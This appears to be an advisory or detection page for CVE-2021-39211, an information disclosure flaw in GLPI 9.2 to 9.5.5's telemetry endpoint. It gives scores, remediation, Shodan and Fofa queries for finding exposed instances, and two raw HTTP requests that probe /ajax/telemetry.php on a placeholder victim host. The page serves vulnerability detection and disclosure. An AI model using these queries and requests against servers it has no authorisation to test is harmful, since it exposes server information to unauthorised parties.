| Title | GLPI 9.2/<9.5.6 - Information Disclosure |
|---|---|
| Author | dogasantos,noraj |
| Severity | Medium |
| Impact | Information disclosure vulnerability in GLPI versions 9.2 to <9.5.6 allows an attacker to access sensitive information. |
| Remediation | This issue is fixed in version 9.5.6. As a workaround, remove the file ajax/telemetry.php, which is not needed for usual GLPI functions. |
| CVSS Score | 5.3 |
| EPSS Score | 0.54404 |
| CVE ID | CVE-2021-39211 |
| CWE ID | CWE-200,NVD-CWE-noinfo |
| Shodan Query | http.title:"glpi"http.favicon.hash:"-1474875778" |
| Fofa Query | icon_hash="-1474875778"title="glpi" |
| Tags | cve cve2021 glpi exposure glpi-project vkev vuln |
GLPI 9.2 and prior to 9.5.6 is susceptible to information disclosure via the telemetry endpoint, which discloses GLPI and server information. An attacker can possibly obtain sensitive information, modify data, and/or execute unauthorized operations.
GET /ajax/telemetry.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.0.2 Safari/605.1.15
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
GET /glpi/ajax/telemetry.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh, Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.5 Safari/605.1.15
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2021/CVE-2021-39211.yaml
🦈 Packet Capture: ⬇️ Download cve-2021-39211.pcap
N/AN/A